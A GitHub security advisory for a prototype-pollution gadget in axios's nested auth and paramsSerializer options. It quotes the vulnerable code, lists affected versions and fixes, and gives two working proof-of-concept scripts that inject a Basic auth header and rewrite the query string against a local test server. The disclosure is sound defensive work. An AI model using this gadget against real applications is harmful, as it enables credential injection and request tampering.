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Axios: Nested axios option objects can consume polluted prototype values

Moderate severity GitHub Reviewed Published Jul 6, 2026 in axios/axios • Updated Sep 1, 2026

Package

npm axios (npm)

Affected versions

>= 0.8.0, < 0.33.0
>= 1.0.0, < 1.18.0

Patched versions

0.33.0
1.18.0

Description

Summary

Axios can consume inherited properties from nested request option objects when the JavaScript process already has a polluted Object.prototype.

The top-level merged config is protected with a null prototype, but nested plain objects such as auth and paramsSerializer are cloned into ordinary objects. If application code passes placeholders such as auth: {} or paramsSerializer: {}, inherited username, password, encode, or serialize properties can influence outbound requests.

Impact

This is reachable only when another component has already polluted Object.prototype and the application passes an affected nested axios option object.

Confirmed impacts include silent injection of an Authorization: Basic ... header from inherited username and password values, and query-string tampering when inherited paramsSerializer fields are function-valued.

The auth case requires only string-valued pollution. Full query-string replacement through paramsSerializer.serialize requires a function-valued pollution primitive; string-only pollution may still cause request failures or encoding changes through encode.

This does not mean every axios request is affected. Requests that do not pass auth, do not pass paramsSerializer, or provide explicit own properties for the relevant nested fields are not affected by this specific gadget.

Affected Functionality

Affected runtime functionality:

  • Node HTTP adapter Basic auth handling in lib/adapters/http.js.
  • Browser/fetch/XHR Basic auth handling through lib/helpers/resolveConfig.js.
  • Query serialization through lib/helpers/buildURL.js.
  • axios.getUri() when called with an affected paramsSerializer object.

Affected config shapes:

  • auth: {} or an auth object missing own username and/or password.
  • paramsSerializer: {} or a paramsSerializer object missing own encode and/or serialize.

Unaffected by this specific issue:

  • Requests with no auth property.
  • Requests with no paramsSerializer property.
  • Top-level polluted auth or paramsSerializer values in current hardened versions.

Technical Details

lib/core/mergeConfig.js creates the top-level merged config with Object.create(null), but nested object cloning still uses ordinary {} containers:

} else if (utils.isPlainObject(source)) {
  return utils.merge({}, source);
}

Downstream code then reads nested fields without own-property checks.

In lib/helpers/resolveConfig.js:

btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))

In lib/adapters/http.js:

const username = configAuth.username || '';
const password = configAuth.password || '';
auth = username + ':' + password;

In lib/helpers/buildURL.js:

const _encode = (options && options.encode) || encode;
const serializeFn = _options && _options.serialize;

Proof of Concept of Attack

import http from 'node:http';
import axios from './index.js';

const user = 'attacker';
const pass = 'exfil';

Object.defineProperty(Object.prototype, 'username', {
  value: user,
  configurable: true
});

Object.defineProperty(Object.prototype, 'password', {
  value: pass,
  configurable: true
});

Object.defineProperty(Object.prototype, 'serialize', {
  value: () => 'polluted=1',
  configurable: true
});

const server = http.createServer((req, res) => {
  res.writeHead(200, { 'content-type': 'application/json' });
  res.end(JSON.stringify({
    authorization: req.headers.authorization || null,
    url: req.url
  }));
});

await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));

try {
  const port = server.address().port;
  const response = await axios.get(`http://127.0.0.1:${port}/demo`, {
    auth: {},
    paramsSerializer: {},
    params: { unused: 'ignored' }
  });

  console.log(response.data);
} finally {
  await new Promise((resolve) => server.close(resolve));
  delete Object.prototype.username;
  delete Object.prototype.password;
  delete Object.prototype.serialize;
}

Observed result:

{
  "authorization": "Basic YXR0YWNrZXI6ZXhmaWw=",
  "url": "/demo?polluted=1"
}

Workarounds

If upgrading is not yet possible, avoid passing placeholder nested option objects.

Remove auth entirely when Basic auth is not intended. For paramsSerializer objects, provide explicit own encode and serialize properties or remove paramsSerializer when custom serialization is not required.

These workarounds only address this axios gadget. They do not remediate the separate prototype-pollution primitive that must already exist in the application process.

Original Report

Summary

axios 1.16.1 mitigates prototype-pollution gadgets on the top-level request config but not on nested option objects. When a caller passes a partial nested option object such as auth: {} or paramsSerializer: {}, axios reads inner fields (username, password, encode, serialize) through the prototype chain. If Object.prototype has been polluted by another component in the same Node.js process, those inherited values are silently injected into the outbound request, including the Authorization header and the serialized query string.

Details

mergeConfig (lib/core/mergeConfig.js) was hardened to use a null-prototype container for the top-level config, but its nested-clone helper still produces ordinary {} containers:

mergeConfig.js Lines 36-45

  function getMergedValue(target, source, prop, caseless) {
    if (utils.isPlainObject(target) && utils.isPlainObject(source)) {
      return utils.merge.call({ caseless }, target, source);
    } else if (utils.isPlainObject(source)) {
      return utils.merge({}, source);
    } else if (utils.isArray(source)) {
      return source.slice();
    }
    return source;
  }

The cloned nested objects therefore inherit from Object.prototype. Downstream consumers read sensitive fields via plain dotted access, with no own-property guard:

Browser / fetch Basic auth — lib/helpers/resolveConfig.js:
resolveConfig.js Lines 64-70

  if (auth) {
    headers.set(
      'Authorization',
      'Basic ' +
        btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
    );
  }

Node HTTP adapter Basic auth — lib/adapters/http.js:
http.js Lines 829-836

      // HTTP basic authentication
      let auth = undefined;
      const configAuth = own('auth');
      if (configAuth) {
        const username = configAuth.username || '';
        const password = configAuth.password || '';
        auth = username + ':' + password;
      }

paramsSerializer reads — lib/helpers/buildURL.js:
buildURL.js Lines 31-54

export default function buildURL(url, params, options) {
  if (!params) {
    return url;
  }
  const _encode = (options && options.encode) || encode;
  const _options = utils.isFunction(options)
    ? {
        serialize: options,
      }
    : options;
  const serializeFn = _options && _options.serialize;
  let serializedParams;
  if (serializeFn) {
    serializedParams = serializeFn(params, _options);
  } else {
    serializedParams = utils.isURLSearchParams(params)
      ? params.toString()
      : new AxiosURLSearchParams(params, _options).toString(_encode);
  }

Because auth.username, auth.password, options.encode, and options.serialize are accessed without hasOwnProperty checks, a polluted Object.prototype.username / Object.prototype.password / Object.prototype.serialize flows directly into the outgoing request.

The auth sink is the primary impact (silent Basic-auth injection); paramsSerializer.serialize is a secondary but powerful sink because it can fully replace the query string.

PoC

import http from 'node:http';
import axios from '../../index.js';

const ATTACKER_USER = 'attacker';
const ATTACKER_PASS = 'exfil';
const ATTACKER_BASIC = Buffer.from(`${ATTACKER_USER}:${ATTACKER_PASS}`).toString('base64');

// Step 1: simulate a pre-existing prototype-pollution primitive in this process.
// In reality, a separate dependency would have done this. We keep the
// "polluted" properties non-enumerable so they only affect inherited reads,
// which is the realistic shape of most prototype-pollution gadgets.
Object.defineProperty(Object.prototype, 'username', {
  value: ATTACKER_USER,
  configurable: true,
});
Object.defineProperty(Object.prototype, 'password', {
  value: ATTACKER_PASS,
  configurable: true,
});
Object.defineProperty(Object.prototype, 'serialize', {
  value: () => 'polluted=1',
  configurable: true,
});

// Local capture server.
const server = http.createServer((req, res) => {
  const captured = {
    authorization: req.headers['authorization'] || null,
    url: req.url,
  };
  res.writeHead(200, { 'content-type': 'application/json' });
  res.end(JSON.stringify(captured));
});

await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const port = server.address().port;

try {
  // Application code: passes nested *placeholder* option objects that have
  // no own auth/serializer properties. Without prototype pollution this is
  // a no-op. With prototype pollution it becomes attacker-controlled state.
  const response = await axios.get(`http://127.0.0.1:${port}/demo`, {
    auth: {},
    paramsSerializer: {},
    params: { unused: 'ignored-by-polluted-serializer' },
  });

  console.log('--- PoC: nested-option prototype-pollution gadgets ---');
  console.log('Server saw:', JSON.stringify(response.data));

  const authLeaked = response.data.authorization === `Basic ${ATTACKER_BASIC}`;
  const urlRewritten = response.data.url === '/demo?polluted=1';

  if (authLeaked && urlRewritten) {
    console.log(
      'VULNERABLE: nested auth + paramsSerializer inherited polluted ' +
        'Object.prototype values into the outbound request.'
    );
    process.exitCode = 0;
  } else {
    console.log('NOT VULNERABLE: nested option objects did not leak prototype state.');
    console.log('  authLeaked   =', authLeaked);
    console.log('  urlRewritten =', urlRewritten);
    process.exitCode = 1;
  }
} finally {
  server.close();
  // Restore Object.prototype so a noisy exit/process state cannot affect
  // anything else accidentally sharing the runtime.
  delete Object.prototype.username;
  delete Object.prototype.password;
  delete Object.prototype.serialize;
}

Impact

Concrete consequences:

  • Silent injection of attacker-controlled Authorization: Basic … headers on outbound requests, enabling credential exfiltration to attacker-chosen upstreams or impersonation against trusted upstreams.
  • Full takeover of query-string serialization via paramsSerializer.serialize, enabling request tampering, cache-key poisoning, and bypass of upstream signature/policy checks that sign the literal request line.
Details ### References - https://github.com/axios/axios/security/advisories/GHSA-7q8q-rj6j-mhjq - https://github.com/axios/axios/pull/11000 - https://github.com/axios/axios/pull/11001 - https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d - https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2 - https://github.com/axios/axios/releases/tag/v0.33.0 - https://github.com/axios/axios/releases/tag/v1.18.0 - https://nvd.nist.gov/vuln/detail/CVE-2026-67319 - https://nvd.nist.gov/vuln/detail/CVE-2026-69123 - https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-nested-option-objects
@jasonsaayman jasonsaayman published to axios/axios Jul 6, 2026
Published to the GitHub Advisory Database Jul 20, 2026
Reviewed Jul 20, 2026
Published by the National Vulnerability Database Aug 6, 2026
Last updated Sep 1, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity High
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity Low
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(15th percentile)

Weaknesses

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. Learn more on MITRE.

CVE ID

CVE-2026-67319

GHSA ID

GHSA-7q8q-rj6j-mhjq

Source code

Credits

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